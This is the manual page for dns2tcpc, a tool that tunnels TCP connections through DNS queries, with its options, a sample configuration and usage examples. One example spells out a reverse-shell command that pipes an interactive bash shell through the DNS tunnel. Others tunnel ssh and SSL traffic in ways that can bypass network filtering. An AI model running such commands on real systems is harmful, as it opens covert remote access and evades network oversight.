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dns2tcpc(1)		     General Commands Manual		     dns2tcpc(1)

NAME
     dns2tcpc - A tunneling tool that encapsulate TCP traffic over DNS.

SYNOPSIS
     dns2tcpc  [ -h ] [ -c ] [ -z domain zone ] [ -d debug_level ] [ -r resource
     ] [ -k key ] [ -f config_file ] [ -e command ] [ -T request type ] [ -l lo-
     cal_port ] [ server ]

DESCRIPTION
     dns2tcpc is a network tool used to encapsulate TCP communications	in  DNS.
     When connections are received on a specific port all TCP traffic is sent to
     the  remote dns2tcpd server and forwarded to a specific host and port. Mul-
     tiple connections are supported.

     dns2tcpc was written for demonstration purposes.

OPTIONS
     -h     Help Menu

     -c     Enable DNS compression. When used, be sure that all  relay	and  DNS
	    server support compression and really use it.

     -z domain zone
	    Use this domain as endpoint.

     -d debug level
	    Change debug level. Levels available are 1, 2 or 3.

     -r resource
	    Remote resource to access.

     -k key
	    Pre shared key used for authentication (identification).

     -f config file
	    Configuration file to use.

     -T request type
	    Request  type  to  use.  Actually only KEY and TXT requests are sup-
	    ported.

     -e command
	    Command to execute, I/O are redirected in the tunnel.

     -l local_port
	    Local port accepting incomming connections (or - for stdin	on  UNIX
	    systems).

     -t connection timeout
	    Maximum  DNS  server's answer delay in seconds. A valid delay is be-
	    tween 1 and 240 seconds. Default is 3.

     server
	    DNS server to use. The first  entry  in  resolv.conf  file	will  be
	    choosen if the server is not specified.

CONFIGURATION FILES
     By  default  ${HOME}/.dns2tcprc  is used if no configuration file is speci-
     fied. Here is an example :

	    domain = dns2tcp.hsc.fr
	    resource = ssltunnel
	    local_port = 4430
	    enable_compression = 0
	    debug_level = 1
	    key = mykey
	    # DNS to use
	    server = ns.hsc.fr

EXAMPLES
     dns2tcpc -k mykey -z dns2tcp.hsc.fr mydns

	    Ask the dns2tcp server to list available resources.

     ssh -o 'ProxyCommand dns2tcpc -r ssh -l - -z dns2tcp.hsc.fr -k mykey mydns'
     myserver

	    Use dns2tcp as a proxy command with ssh. We try to	connect  to  the
	    ssh resource with the key 'mykey' and the DNS mydns.

     dns2tcpc -r socat-resource -e '/bin/bash -i' -k mykey -z dns2tcp.hsc.fr
     mydns

	    Use  dns2tcp as a reverse shell, the remote shell will appear on the
	    socat-resource.

     dns2tcpc -d 1 -f /dev/null -r ssl-tunnel -l 2000 -k mykey	-T KEY -z
     dns2tcp.hsc.fr mydns

	    Do not use the default configuration file, bind local port 2000  and
	    forward  all  the traffic on the remote ssl-tunnel resource, use the
	    first debug level. Use KEY type DNS requests.

AUTHORS
     Olivier Dembour <olivier.dembour@hsc.fr>

SEE ALSO
     ssltunnel

								     dns2tcpc(1)

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